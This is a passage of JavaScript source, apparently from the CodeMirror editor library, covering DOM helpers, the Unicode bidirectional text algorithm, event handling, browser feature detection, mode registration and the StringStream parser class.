  function classTest(cls) { return new RegExp("(^|\\s)" + cls + "(?:$|\\s)\\s*") }

  var rmClass = function(node, cls) {
    var current = node.className;
    var match = classTest(cls).exec(current);
    if (match) {
      var after = current.slice(match.index + match[0].length);
      node.className = current.slice(0, match.index) + (after ? match[1] + after : "");
    }
  };

  function removeChildren(e) {
    for (var count = e.childNodes.length; count > 0; --count)
      { e.removeChild(e.firstChild); }
    return e
  }

  function removeChildrenAndAdd(parent, e) {
    return removeChildren(parent).appendChild(e)
  }

  function elt(tag, content, className, style) {
    var e = document.createElement(tag);
    if (className) { e.className = className; }
    if (style) { e.style.cssText = style; }
    if (typeof content == "string") { e.appendChild(document.createTextNode(content)); }
    else if (content) { for (var i = 0; i < content.length; ++i) { e.appendChild(content[i]); } }
    return e
  }
  // wrapper for elt, which removes the elt from the accessibility tree
  function eltP(tag, content, className, style) {
    var e = elt(tag, content, className, style);
    e.setAttribute("role", "presentation");
    return e
  }

  var range;
  if (document.createRange) { range = function(node, start, end, endNode) {
    var r = document.createRange();
    r.setEnd(endNode || node, end);
    r.setStart(node, start);
    return r
  }; }
  else { range = function(node, start, end) {
    var r = document.body.createTextRange();
    try { r.moveToElementText(node.parentNode); }
    catch(e) { return r }
    r.collapse(true);
    r.moveEnd("character", end);
    r.moveStart("character", start);
    return r
  }; }

  function contains(parent, child) {
    if (child.nodeType == 3) // Android browser always returns false when child is a textnode
      { child = child.parentNode; }
    if (parent.contains)
      { return parent.contains(child) }
    do {
      if (child.nodeType == 11) { child = child.host; }
      if (child == parent) { return true }
    } while (child = child.parentNode)
  }

  function activeElt() {
    // IE and Edge may throw an "Unspecified Error" when accessing document.activeElement.
    // IE < 10 will throw when accessed while the page is loading or in an iframe.
    // IE > 9 and Edge will throw when accessed in an iframe if document.body is unavailable.
    var activeElement;
    try {
      activeElement = document.activeElement;
    } catch(e) {
      activeElement = document.body || null;
    }
    while (activeElement && activeElement.shadowRoot && activeElement.shadowRoot.activeElement)
      { activeElement = activeElement.shadowRoot.activeElement; }
    return activeElement
  }

  function addClass(node, cls) {
    var current = node.className;
    if (!classTest(cls).test(current)) { node.className += (current ? " " : "") + cls; }
  }
  function joinClasses(a, b) {
    var as = a.split(" ");
    for (var i = 0; i < as.length; i++)
      { if (as[i] && !classTest(as[i]).test(b)) { b += " " + as[i]; } }
    return b
  }

  var selectInput = function(node) { node.select(); };
  if (ios) // Mobile Safari apparently has a bug where select() is broken.
    { selectInput = function(node) { node.selectionStart = 0; node.selectionEnd = node.value.length; }; }
  else if (ie) // Suppress mysterious IE10 errors
    { selectInput = function(node) { try { node.select(); } catch(_e) {} }; }

  function bind(f) {
    var args = Array.prototype.slice.call(arguments, 1);
    return function(){return f.apply(null, args)}
  }

  function copyObj(obj, target, overwrite) {
    if (!target) { target = {}; }
    for (var prop in obj)
      { if (obj.hasOwnProperty(prop) && (overwrite !== false || !target.hasOwnProperty(prop)))
        { target[prop] = obj[prop]; } }
    return target
  }

  // Counts the column offset in a string, taking tabs into account.
  // Used mostly to find indentation.
  function countColumn(string, end, tabSize, startIndex, startValue) {
    if (end == null) {
      end = string.search(/[^\s\u00a0]/);
      if (end == -1) { end = string.length; }
    }
    for (var i = startIndex || 0, n = startValue || 0;;) {
      var nextTab = string.indexOf("\t", i);
      if (nextTab < 0 || nextTab >= end)
        { return n + (end - i) }
      n += nextTab - i;
      n += tabSize - (n % tabSize);
      i = nextTab + 1;
    }
  }

  var Delayed = function() {
    this.id = null;
    this.f = null;
    this.time = 0;
    this.handler = bind(this.onTimeout, this);
  };
  Delayed.prototype.onTimeout = function (self) {
    self.id = 0;
    if (self.time <= +new Date) {
      self.f();
    } else {
      setTimeout(self.handler, self.time - +new Date);
    }
  };
  Delayed.prototype.set = function (ms, f) {
    this.f = f;
    var time = +new Date + ms;
    if (!this.id || time < this.time) {
      clearTimeout(this.id);
      this.id = setTimeout(this.handler, ms);
      this.time = time;
    }
  };

  function indexOf(array, elt) {
    for (var i = 0; i < array.length; ++i)
      { if (array[i] == elt) { return i } }
    return -1
  }

  // Number of pixels added to scroller and sizer to hide scrollbar
  var scrollerGap = 50;

  // Returned or thrown by various protocols to signal 'I'm not
  // handling this'.
  var Pass = {toString: function(){return "CodeMirror.Pass"}};

  // Reused option objects for setSelection & friends
  var sel_dontScroll = {scroll: false}, sel_mouse = {origin: "*mouse"}, sel_move = {origin: "+move"};

  // The inverse of countColumn -- find the offset that corresponds to
  // a particular column.
  function findColumn(string, goal, tabSize) {
    for (var pos = 0, col = 0;;) {
      var nextTab = string.indexOf("\t", pos);
      if (nextTab == -1) { nextTab = string.length; }
      var skipped = nextTab - pos;
      if (nextTab == string.length || col + skipped >= goal)
        { return pos + Math.min(skipped, goal - col) }
      col += nextTab - pos;
      col += tabSize - (col % tabSize);
      pos = nextTab + 1;
      if (col >= goal) { return pos }
    }
  }

  var spaceStrs = [""];
  function spaceStr(n) {
    while (spaceStrs.length <= n)
      { spaceStrs.push(lst(spaceStrs) + " "); }
    return spaceStrs[n]
  }

  function lst(arr) { return arr[arr.length-1] }

  function map(array, f) {
    var out = [];
    for (var i = 0; i < array.length; i++) { out[i] = f(array[i], i); }
    return out
  }

  function insertSorted(array, value, score) {
    var pos = 0, priority = score(value);
    while (pos < array.length && score(array[pos]) <= priority) { pos++; }
    array.splice(pos, 0, value);
  }

  function nothing() {}

  function createObj(base, props) {
    var inst;
    if (Object.create) {
      inst = Object.create(base);
    } else {
      nothing.prototype = base;
      inst = new nothing();
    }
    if (props) { copyObj(props, inst); }
    return inst
  }

  var nonASCIISingleCaseWordChar = /[\u00df\u0587\u0590-\u05f4\u0600-\u06ff\u3040-\u309f\u30a0-\u30ff\u3400-\u4db5\u4e00-\u9fcc\uac00-\ud7af]/;
  function isWordCharBasic(ch) {
    return /\w/.test(ch) || ch > "\x80" &&
      (ch.toUpperCase() != ch.toLowerCase() || nonASCIISingleCaseWordChar.test(ch))
  }
  function isWordChar(ch, helper) {
    if (!helper) { return isWordCharBasic(ch) }
    if (helper.source.indexOf("\\w") > -1 && isWordCharBasic(ch)) { return true }
    return helper.test(ch)
  }

  function isEmpty(obj) {
    for (var n in obj) { if (obj.hasOwnProperty(n) && obj[n]) { return false } }
    return true
  }

  // Extending unicode characters. A series of a non-extending char +
  // any number of extending chars is treated as a single unit as far
  // as editing and measuring is concerned. This is not fully correct,
  // since some scripts/fonts/browsers also treat other configurations
  // of code points as a group.
  var extendingChars = /[\u0300-\u036f\u0483-\u0489\u0591-\u05bd\u05bf\u05c1\u05c2\u05c4\u05c5\u05c7\u0610-\u061a\u064b-\u065e\u0670\u06d6-\u06dc\u06de-\u06e4\u06e7\u06e8\u06ea-\u06ed\u0711\u0730-\u074a\u07a6-\u07b0\u07eb-\u07f3\u0816-\u0819\u081b-\u0823\u0825-\u0827\u0829-\u082d\u0900-\u0902\u093c\u0941-\u0948\u094d\u0951-\u0955\u0962\u0963\u0981\u09bc\u09be\u09c1-\u09c4\u09cd\u09d7\u09e2\u09e3\u0a01\u0a02\u0a3c\u0a41\u0a42\u0a47\u0a48\u0a4b-\u0a4d\u0a51\u0a70\u0a71\u0a75\u0a81\u0a82\u0abc\u0ac1-\u0ac5\u0ac7\u0ac8\u0acd\u0ae2\u0ae3\u0b01\u0b3c\u0b3e\u0b3f\u0b41-\u0b44\u0b4d\u0b56\u0b57\u0b62\u0b63\u0b82\u0bbe\u0bc0\u0bcd\u0bd7\u0c3e-\u0c40\u0c46-\u0c48\u0c4a-\u0c4d\u0c55\u0c56\u0c62\u0c63\u0cbc\u0cbf\u0cc2\u0cc6\u0ccc\u0ccd\u0cd5\u0cd6\u0ce2\u0ce3\u0d3e\u0d41-\u0d44\u0d4d\u0d57\u0d62\u0d63\u0dca\u0dcf\u0dd2-\u0dd4\u0dd6\u0ddf\u0e31\u0e34-\u0e3a\u0e47-\u0e4e\u0eb1\u0eb4-\u0eb9\u0ebb\u0ebc\u0ec8-\u0ecd\u0f18\u0f19\u0f35\u0f37\u0f39\u0f71-\u0f7e\u0f80-\u0f84\u0f86\u0f87\u0f90-\u0f97\u0f99-\u0fbc\u0fc6\u102d-\u1030\u1032-\u1037\u1039\u103a\u103d\u103e\u1058\u1059\u105e-\u1060\u1071-\u1074\u1082\u1085\u1086\u108d\u109d\u135f\u1712-\u1714\u1732-\u1734\u1752\u1753\u1772\u1773\u17b7-\u17bd\u17c6\u17c9-\u17d3\u17dd\u180b-\u180d\u18a9\u1920-\u1922\u1927\u1928\u1932\u1939-\u193b\u1a17\u1a18\u1a56\u1a58-\u1a5e\u1a60\u1a62\u1a65-\u1a6c\u1a73-\u1a7c\u1a7f\u1b00-\u1b03\u1b34\u1b36-\u1b3a\u1b3c\u1b42\u1b6b-\u1b73\u1b80\u1b81\u1ba2-\u1ba5\u1ba8\u1ba9\u1c2c-\u1c33\u1c36\u1c37\u1cd0-\u1cd2\u1cd4-\u1ce0\u1ce2-\u1ce8\u1ced\u1dc0-\u1de6\u1dfd-\u1dff\u200c\u200d\u20d0-\u20f0\u2cef-\u2cf1\u2de0-\u2dff\u302a-\u302f\u3099\u309a\ua66f-\ua672\ua67c\ua67d\ua6f0\ua6f1\ua802\ua806\ua80b\ua825\ua826\ua8c4\ua8e0-\ua8f1\ua926-\ua92d\ua947-\ua951\ua980-\ua982\ua9b3\ua9b6-\ua9b9\ua9bc\uaa29-\uaa2e\uaa31\uaa32\uaa35\uaa36\uaa43\uaa4c\uaab0\uaab2-\uaab4\uaab7\uaab8\uaabe\uaabf\uaac1\uabe5\uabe8\uabed\udc00-\udfff\ufb1e\ufe00-\ufe0f\ufe20-\ufe26\uff9e\uff9f]/;
  function isExtendingChar(ch) { return ch.charCodeAt(0) >= 768 && extendingChars.test(ch) }

  // Returns a number from the range [`0`; `str.length`] unless `pos` is outside that range.
  function skipExtendingChars(str, pos, dir) {
    while ((dir < 0 ? pos > 0 : pos < str.length) && isExtendingChar(str.charAt(pos))) { pos += dir; }
    return pos
  }

  // Returns the value from the range [`from`; `to`] that satisfies
  // `pred` and is closest to `from`. Assumes that at least `to`
  // satisfies `pred`. Supports `from` being greater than `to`.
  function findFirst(pred, from, to) {
    // At any point we are certain `to` satisfies `pred`, don't know
    // whether `from` does.
    var dir = from > to ? -1 : 1;
    for (;;) {
      if (from == to) { return from }
      var midF = (from + to) / 2, mid = dir < 0 ? Math.ceil(midF) : Math.floor(midF);
      if (mid == from) { return pred(mid) ? from : to }
      if (pred(mid)) { to = mid; }
      else { from = mid + dir; }
    }
  }

  // BIDI HELPERS

  function iterateBidiSections(order, from, to, f) {
    if (!order) { return f(from, to, "ltr", 0) }
    var found = false;
    for (var i = 0; i < order.length; ++i) {
      var part = order[i];
      if (part.from < to && part.to > from || from == to && part.to == from) {
        f(Math.max(part.from, from), Math.min(part.to, to), part.level == 1 ? "rtl" : "ltr", i);
        found = true;
      }
    }
    if (!found) { f(from, to, "ltr"); }
  }

  var bidiOther = null;
  function getBidiPartAt(order, ch, sticky) {
    var found;
    bidiOther = null;
    for (var i = 0; i < order.length; ++i) {
      var cur = order[i];
      if (cur.from < ch && cur.to > ch) { return i }
      if (cur.to == ch) {
        if (cur.from != cur.to && sticky == "before") { found = i; }
        else { bidiOther = i; }
      }
      if (cur.from == ch) {
        if (cur.from != cur.to && sticky != "before") { found = i; }
        else { bidiOther = i; }
      }
    }
    return found != null ? found : bidiOther
  }

  // Bidirectional ordering algorithm
  // See http://unicode.org/reports/tr9/tr9-13.html for the algorithm
  // that this (partially) implements.

  // One-char codes used for character types:
  // L (L):   Left-to-Right
  // R (R):   Right-to-Left
  // r (AL):  Right-to-Left Arabic
  // 1 (EN):  European Number
  // + (ES):  European Number Separator
  // % (ET):  European Number Terminator
  // n (AN):  Arabic Number
  // , (CS):  Common Number Separator
  // m (NSM): Non-Spacing Mark
  // b (BN):  Boundary Neutral
  // s (B):   Paragraph Separator
  // t (S):   Segment Separator
  // w (WS):  Whitespace
  // N (ON):  Other Neutrals

  // Returns null if characters are ordered as they appear
  // (left-to-right), or an array of sections ({from, to, level}
  // objects) in the order in which they occur visually.
  var bidiOrdering = (function() {
    // Character types for codepoints 0 to 0xff
    var lowTypes = "bbbbbbbbbtstwsbbbbbbbbbbbbbbssstwNN%%%NNNNNN,N,N1111111111NNNNNNNLLLLLLLLLLLLLLLLLLLLLLLLLLNNNNNNLLLLLLLLLLLLLLLLLLLLLLLLLLNNNNbbbbbbsbbbbbbbbbbbbbbbbbbbbbbbbbb,N%%%%NNNNLNNNNN%%11NLNNN1LNNNNNLLLLLLLLLLLLLLLLLLLLLLLNLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLN";
    // Character types for codepoints 0x600 to 0x6f9
    var arabicTypes = "nnnnnnNNr%%r,rNNmmmmmmmmmmmrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrmmmmmmmmmmmmmmmmmmmmmnnnnnnnnnn%nnrrrmrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrmmmmmmmnNmmmmmmrrmmNmmmmrr1111111111";
    function charType(code) {
      if (code <= 0xf7) { return lowTypes.charAt(code) }
      else if (0x590 <= code && code <= 0x5f4) { return "R" }
      else if (0x600 <= code && code <= 0x6f9) { return arabicTypes.charAt(code - 0x600) }
      else if (0x6ee <= code && code <= 0x8ac) { return "r" }
      else if (0x2000 <= code && code <= 0x200b) { return "w" }
      else if (code == 0x200c) { return "b" }
      else { return "L" }
    }

    var bidiRE = /[\u0590-\u05f4\u0600-\u06ff\u0700-\u08ac]/;
    var isNeutral = /[stwN]/, isStrong = /[LRr]/, countsAsLeft = /[Lb1n]/, countsAsNum = /[1n]/;

    function BidiSpan(level, from, to) {
      this.level = level;
      this.from = from; this.to = to;
    }

    return function(str, direction) {
      var outerType = direction == "ltr" ? "L" : "R";

      if (str.length == 0 || direction == "ltr" && !bidiRE.test(str)) { return false }
      var len = str.length, types = [];
      for (var i = 0; i < len; ++i)
        { types.push(charType(str.charCodeAt(i))); }

      // W1. Examine each non-spacing mark (NSM) in the level run, and
      // change the type of the NSM to the type of the previous
      // character. If the NSM is at the start of the level run, it will
      // get the type of sor.
      for (var i$1 = 0, prev = outerType; i$1 < len; ++i$1) {
        var type = types[i$1];
        if (type == "m") { types[i$1] = prev; }
        else { prev = type; }
      }

      // W2. Search backwards from each instance of a European number
      // until the first strong type (R, L, AL, or sor) is found. If an
      // AL is found, change the type of the European number to Arabic
      // number.
      // W3. Change all ALs to R.
      for (var i$2 = 0, cur = outerType; i$2 < len; ++i$2) {
        var type$1 = types[i$2];
        if (type$1 == "1" && cur == "r") { types[i$2] = "n"; }
        else if (isStrong.test(type$1)) { cur = type$1; if (type$1 == "r") { types[i$2] = "R"; } }
      }

      // W4. A single European separator between two European numbers
      // changes to a European number. A single common separator between
      // two numbers of the same type changes to that type.
      for (var i$3 = 1, prev$1 = types[0]; i$3 < len - 1; ++i$3) {
        var type$2 = types[i$3];
        if (type$2 == "+" && prev$1 == "1" && types[i$3+1] == "1") { types[i$3] = "1"; }
        else if (type$2 == "," && prev$1 == types[i$3+1] &&
                 (prev$1 == "1" || prev$1 == "n")) { types[i$3] = prev$1; }
        prev$1 = type$2;
      }

      // W5. A sequence of European terminators adjacent to European
      // numbers changes to all European numbers.
      // W6. Otherwise, separators and terminators change to Other
      // Neutral.
      for (var i$4 = 0; i$4 < len; ++i$4) {
        var type$3 = types[i$4];
        if (type$3 == ",") { types[i$4] = "N"; }
        else if (type$3 == "%") {
          var end = (void 0);
          for (end = i$4 + 1; end < len && types[end] == "%"; ++end) {}
          var replace = (i$4 && types[i$4-1] == "!") || (end < len && types[end] == "1") ? "1" : "N";
          for (var j = i$4; j < end; ++j) { types[j] = replace; }
          i$4 = end - 1;
        }
      }

      // W7. Search backwards from each instance of a European number
      // until the first strong type (R, L, or sor) is found. If an L is
      // found, then change the type of the European number to L.
      for (var i$5 = 0, cur$1 = outerType; i$5 < len; ++i$5) {
        var type$4 = types[i$5];
        if (cur$1 == "L" && type$4 == "1") { types[i$5] = "L"; }
        else if (isStrong.test(type$4)) { cur$1 = type$4; }
      }

      // N1. A sequence of neutrals takes the direction of the
      // surrounding strong text if the text on both sides has the same
      // direction. European and Arabic numbers act as if they were R in
      // terms of their influence on neutrals. Start-of-level-run (sor)
      // and end-of-level-run (eor) are used at level run boundaries.
      // N2. Any remaining neutrals take the embedding direction.
      for (var i$6 = 0; i$6 < len; ++i$6) {
        if (isNeutral.test(types[i$6])) {
          var end$1 = (void 0);
          for (end$1 = i$6 + 1; end$1 < len && isNeutral.test(types[end$1]); ++end$1) {}
          var before = (i$6 ? types[i$6-1] : outerType) == "L";
          var after = (end$1 < len ? types[end$1] : outerType) == "L";
          var replace$1 = before == after ? (before ? "L" : "R") : outerType;
          for (var j$1 = i$6; j$1 < end$1; ++j$1) { types[j$1] = replace$1; }
          i$6 = end$1 - 1;
        }
      }

      // Here we depart from the documented algorithm, in order to avoid
      // building up an actual levels array. Since there are only three
      // levels (0, 1, 2) in an implementation that doesn't take
      // explicit embedding into account, we can build up the order on
      // the fly, without following the level-based algorithm.
      var order = [], m;
      for (var i$7 = 0; i$7 < len;) {
        if (countsAsLeft.test(types[i$7])) {
          var start = i$7;
          for (++i$7; i$7 < len && countsAsLeft.test(types[i$7]); ++i$7) {}
          order.push(new BidiSpan(0, start, i$7));
        } else {
          var pos = i$7, at = order.length, isRTL = direction == "rtl" ? 1 : 0;
          for (++i$7; i$7 < len && types[i$7] != "L"; ++i$7) {}
          for (var j$2 = pos; j$2 < i$7;) {
            if (countsAsNum.test(types[j$2])) {
              if (pos < j$2) { order.splice(at, 0, new BidiSpan(1, pos, j$2)); at += isRTL; }
              var nstart = j$2;
              for (++j$2; j$2 < i$7 && countsAsNum.test(types[j$2]); ++j$2) {}
              order.splice(at, 0, new BidiSpan(2, nstart, j$2));
              at += isRTL;
              pos = j$2;
            } else { ++j$2; }
          }
          if (pos < i$7) { order.splice(at, 0, new BidiSpan(1, pos, i$7)); }
        }
      }
      if (direction == "ltr") {
        if (order[0].level == 1 && (m = str.match(/^\s+/))) {
          order[0].from = m[0].length;
          order.unshift(new BidiSpan(0, 0, m[0].length));
        }
        if (lst(order).level == 1 && (m = str.match(/\s+$/))) {
          lst(order).to -= m[0].length;
          order.push(new BidiSpan(0, len - m[0].length, len));
        }
      }

      return direction == "rtl" ? order.reverse() : order
    }
  })();

  // Get the bidi ordering for the given line (and cache it). Returns
  // false for lines that are fully left-to-right, and an array of
  // BidiSpan objects otherwise.
  function getOrder(line, direction) {
    var order = line.order;
    if (order == null) { order = line.order = bidiOrdering(line.text, direction); }
    return order
  }

  // EVENT HANDLING

  // Lightweight event framework. on/off also work on DOM nodes,
  // registering native DOM handlers.

  var noHandlers = [];

  var on = function(emitter, type, f) {
    if (emitter.addEventListener) {
      emitter.addEventListener(type, f, false);
    } else if (emitter.attachEvent) {
      emitter.attachEvent("on" + type, f);
    } else {
      var map = emitter._handlers || (emitter._handlers = {});
      map[type] = (map[type] || noHandlers).concat(f);
    }
  };

  function getHandlers(emitter, type) {
    return emitter._handlers && emitter._handlers[type] || noHandlers
  }

  function off(emitter, type, f) {
    if (emitter.removeEventListener) {
      emitter.removeEventListener(type, f, false);
    } else if (emitter.detachEvent) {
      emitter.detachEvent("on" + type, f);
    } else {
      var map = emitter._handlers, arr = map && map[type];
      if (arr) {
        var index = indexOf(arr, f);
        if (index > -1)
          { map[type] = arr.slice(0, index).concat(arr.slice(index + 1)); }
      }
    }
  }

  function signal(emitter, type /*, values...*/) {
    var handlers = getHandlers(emitter, type);
    if (!handlers.length) { return }
    var args = Array.prototype.slice.call(arguments, 2);
    for (var i = 0; i < handlers.length; ++i) { handlers[i].apply(null, args); }
  }

  // The DOM events that CodeMirror handles can be overridden by
  // registering a (non-DOM) handler on the editor for the event name,
  // and preventDefault-ing the event in that handler.
  function signalDOMEvent(cm, e, override) {
    if (typeof e == "string")
      { e = {type: e, preventDefault: function() { this.defaultPrevented = true; }}; }
    signal(cm, override || e.type, cm, e);
    return e_defaultPrevented(e) || e.codemirrorIgnore
  }

  function signalCursorActivity(cm) {
    var arr = cm._handlers && cm._handlers.cursorActivity;
    if (!arr) { return }
    var set = cm.curOp.cursorActivityHandlers || (cm.curOp.cursorActivityHandlers = []);
    for (var i = 0; i < arr.length; ++i) { if (indexOf(set, arr[i]) == -1)
      { set.push(arr[i]); } }
  }

  function hasHandler(emitter, type) {
    return getHandlers(emitter, type).length > 0
  }

  // Add on and off methods to a constructor's prototype, to make
  // registering events on such objects more convenient.
  function eventMixin(ctor) {
    ctor.prototype.on = function(type, f) {on(this, type, f);};
    ctor.prototype.off = function(type, f) {off(this, type, f);};
  }

  // Due to the fact that we still support jurassic IE versions, some
  // compatibility wrappers are needed.

  function e_preventDefault(e) {
    if (e.preventDefault) { e.preventDefault(); }
    else { e.returnValue = false; }
  }
  function e_stopPropagation(e) {
    if (e.stopPropagation) { e.stopPropagation(); }
    else { e.cancelBubble = true; }
  }
  function e_defaultPrevented(e) {
    return e.defaultPrevented != null ? e.defaultPrevented : e.returnValue == false
  }
  function e_stop(e) {e_preventDefault(e); e_stopPropagation(e);}

  function e_target(e) {return e.target || e.srcElement}
  function e_button(e) {
    var b = e.which;
    if (b == null) {
      if (e.button & 1) { b = 1; }
      else if (e.button & 2) { b = 3; }
      else if (e.button & 4) { b = 2; }
    }
    if (mac && e.ctrlKey && b == 1) { b = 3; }
    return b
  }

  // Detect drag-and-drop
  var dragAndDrop = function() {
    // There is *some* kind of drag-and-drop support in IE6-8, but I
    // couldn't get it to work yet.
    if (ie && ie_version < 9) { return false }
    var div = elt('div');
    return "draggable" in div || "dragDrop" in div
  }();

  var zwspSupported;
  function zeroWidthElement(measure) {
    if (zwspSupported == null) {
      var test = elt("span", "\u200b");
      removeChildrenAndAdd(measure, elt("span", [test, document.createTextNode("x")]));
      if (measure.firstChild.offsetHeight != 0)
        { zwspSupported = test.offsetWidth <= 1 && test.offsetHeight > 2 && !(ie && ie_version < 8); }
    }
    var node = zwspSupported ? elt("span", "\u200b") :
      elt("span", "\u00a0", null, "display: inline-block; width: 1px; margin-right: -1px");
    node.setAttribute("cm-text", "");
    return node
  }

  // Feature-detect IE's crummy client rect reporting for bidi text
  var badBidiRects;
  function hasBadBidiRects(measure) {
    if (badBidiRects != null) { return badBidiRects }
    var txt = removeChildrenAndAdd(measure, document.createTextNode("A\u062eA"));
    var r0 = range(txt, 0, 1).getBoundingClientRect();
    var r1 = range(txt, 1, 2).getBoundingClientRect();
    removeChildren(measure);
    if (!r0 || r0.left == r0.right) { return false } // Safari returns null in some cases (#2780)
    return badBidiRects = (r1.right - r0.right < 3)
  }

  // See if "".split is the broken IE version, if so, provide an
  // alternative way to split lines.
  var splitLinesAuto = "\n\nb".split(/\n/).length != 3 ? function (string) {
    var pos = 0, result = [], l = string.length;
    while (pos <= l) {
      var nl = string.indexOf("\n", pos);
      if (nl == -1) { nl = string.length; }
      var line = string.slice(pos, string.charAt(nl - 1) == "\r" ? nl - 1 : nl);
      var rt = line.indexOf("\r");
      if (rt != -1) {
        result.push(line.slice(0, rt));
        pos += rt + 1;
      } else {
        result.push(line);
        pos = nl + 1;
      }
    }
    return result
  } : function (string) { return string.split(/\r\n?|\n/); };

  var hasSelection = window.getSelection ? function (te) {
    try { return te.selectionStart != te.selectionEnd }
    catch(e) { return false }
  } : function (te) {
    var range;
    try {range = te.ownerDocument.selection.createRange();}
    catch(e) {}
    if (!range || range.parentElement() != te) { return false }
    return range.compareEndPoints("StartToEnd", range) != 0
  };

  var hasCopyEvent = (function () {
    var e = elt("div");
    if ("oncopy" in e) { return true }
    e.setAttribute("oncopy", "return;");
    return typeof e.oncopy == "function"
  })();

  var badZoomedRects = null;
  function hasBadZoomedRects(measure) {
    if (badZoomedRects != null) { return badZoomedRects }
    var node = removeChildrenAndAdd(measure, elt("span", "x"));
    var normal = node.getBoundingClientRect();
    var fromRange = range(node, 0, 1).getBoundingClientRect();
    return badZoomedRects = Math.abs(normal.left - fromRange.left) > 1
  }

  // Known modes, by name and by MIME
  var modes = {}, mimeModes = {};

  // Extra arguments are stored as the mode's dependencies, which is
  // used by (legacy) mechanisms like loadmode.js to automatically
  // load a mode. (Preferred mechanism is the require/define calls.)
  function defineMode(name, mode) {
    if (arguments.length > 2)
      { mode.dependencies = Array.prototype.slice.call(arguments, 2); }
    modes[name] = mode;
  }

  function defineMIME(mime, spec) {
    mimeModes[mime] = spec;
  }

  // Given a MIME type, a {name, ...options} config object, or a name
  // string, return a mode config object.
  function resolveMode(spec) {
    if (typeof spec == "string" && mimeModes.hasOwnProperty(spec)) {
      spec = mimeModes[spec];
    } else if (spec && typeof spec.name == "string" && mimeModes.hasOwnProperty(spec.name)) {
      var found = mimeModes[spec.name];
      if (typeof found == "string") { found = {name: found}; }
      spec = createObj(found, spec);
      spec.name = found.name;
    } else if (typeof spec == "string" && /^[\w\-]+\/[\w\-]+\+xml$/.test(spec)) {
      return resolveMode("application/xml")
    } else if (typeof spec == "string" && /^[\w\-]+\/[\w\-]+\+json$/.test(spec)) {
      return resolveMode("application/json")
    }
    if (typeof spec == "string") { return {name: spec} }
    else { return spec || {name: "null"} }
  }

  // Given a mode spec (anything that resolveMode accepts), find and
  // initialize an actual mode object.
  function getMode(options, spec) {
    spec = resolveMode(spec);
    var mfactory = modes[spec.name];
    if (!mfactory) { return getMode(options, "text/plain") }
    var modeObj = mfactory(options, spec);
    if (modeExtensions.hasOwnProperty(spec.name)) {
      var exts = modeExtensions[spec.name];
      for (var prop in exts) {
        if (!exts.hasOwnProperty(prop)) { continue }
        if (modeObj.hasOwnProperty(prop)) { modeObj["_" + prop] = modeObj[prop]; }
        modeObj[prop] = exts[prop];
      }
    }
    modeObj.name = spec.name;
    if (spec.helperType) { modeObj.helperType = spec.helperType; }
    if (spec.modeProps) { for (var prop$1 in spec.modeProps)
      { modeObj[prop$1] = spec.modeProps[prop$1]; } }

    return modeObj
  }

  // This can be used to attach properties to mode objects from
  // outside the actual mode definition.
  var modeExtensions = {};
  function extendMode(mode, properties) {
    var exts = modeExtensions.hasOwnProperty(mode) ? modeExtensions[mode] : (modeExtensions[mode] = {});
    copyObj(properties, exts);
  }

  function copyState(mode, state) {
    if (state === true) { return state }
    if (mode.copyState) { return mode.copyState(state) }
    var nstate = {};
    for (var n in state) {
      var val = state[n];
      if (val instanceof Array) { val = val.concat([]); }
      nstate[n] = val;
    }
    return nstate
  }

  // Given a mode and a state (for that mode), find the inner mode and
  // state at the position that the state refers to.
  function innerMode(mode, state) {
    var info;
    while (mode.innerMode) {
      info = mode.innerMode(state);
      if (!info || info.mode == mode) { break }
      state = info.state;
      mode = info.mode;
    }
    return info || {mode: mode, state: state}
  }

  function startState(mode, a1, a2) {
    return mode.startState ? mode.startState(a1, a2) : true
  }

  // STRING STREAM

  // Fed to the mode parsers, provides helper functions to make
  // parsers more succinct.

  var StringStream = function(string, tabSize, lineOracle) {
    this.pos = this.start = 0;
    this.string = string;
    this.tabSize = tabSize || 8;
    this.lastColumnPos = this.lastColumnValue = 0;
    this.lineStart = 0;
    this.lineOracle = lineOracle;
  };

  StringStream.prototype.eol = function () {return this.pos >= this.string.length};
  StringStream.prototype.sol = function () {return this.pos == this.lineStart};
  StringStream.prototype.peek = function () {return this.string.charAt(this.pos) || undefined};
  StringStream.prototype.next = function () {
    if (this.pos < this.string.length)
      { return this.string.charAt(this.pos++) }
  };
  StringStream.prototype.eat = function (match) {
    var ch = this.string.charAt(this.pos);
    var ok;
    if (typeof match == "string") { ok = ch == match; }
    else { ok = ch && (match.test ? match.test(ch) : match(ch)); }
    if (ok) {++this.pos; return ch}
  };
  StringStream.prototype.eatWhile = function (match) {
    var start = this.pos;
    while (this.eat(match)){}
    return this.pos > start
  };
  StringStream.prototype.eatSpace = function () {
    var start = this.pos;
    while (/[\s\u00a0]/.test(this.string.charAt(this.pos))) { ++this.pos; }
    return this.pos > start
  };
  StringStream.prototype.skipToEnd = function () {this.pos = this.string.length;};
  StringStream.prototype.skipTo = function (ch) {
    var found = this.string.indexOf(ch, this.pos);
    if (found > -1) {this.pos = found; return true}
  };
  StringStream.prototype.backUp = function (n) {this.pos -= n;};
  StringStream.prototype.column = function () {
    if (this.lastColumnPos < this.start) {
      this.lastColumnValue = countColumn(this.string, this.start, this.tabSize, this.lastColumnPos, this.lastColumnValue);
      this.lastColumnPos = this.start;
    }
    return this.lastColumnValue - (this.lineStart ? countColumn(this.string, this.lineStart, this.tabSize) : 0)
  };
  StringStream.prototype.indentation = function () {
    return countColumn(this.string, null, this.tabSize) -
      (this.lineStart ? countColumn(this.string, this.lineStart, this.tabSize) : 0)
  };
  StringStream.prototype.match = function (pattern, consume, caseInsensitive) {
    if (typeof pattern == "string") {
      var cased = function (str) { return caseInsensitive ? str.toLowerCase() : str; };
      var substr = this.string.substr(this.pos, pattern.length);
      if (cased(substr) == cased(pattern)) {
        if (consume !== false) { this.pos += pattern.length; }
        return true
      }
    } else {
      var match = this.string.slice(this.pos).match(pattern);
      if (match && match.index > 0) { return null }
      if (match && consume !== false) { this.pos += match[0].length; }
      return match
    }
  };
  StringStream.prototype.current = function (){return this.string.slice(this.start, this.pos)};
  StringStream.prototype.hideFirstChars = function (n, inner) {
    this.lineStart += n;
    try { return inner() }
    finally { this.lineStart -= n; }
  };
  StringStream.prototype.lookAhead = function (n) {
    var oracle = this.lineOracle;
    return oracle && oracle.lookAhead(n)
  };
  StringStream.prototype.baseToken = function () {
    var oracle = this.lineOracle;
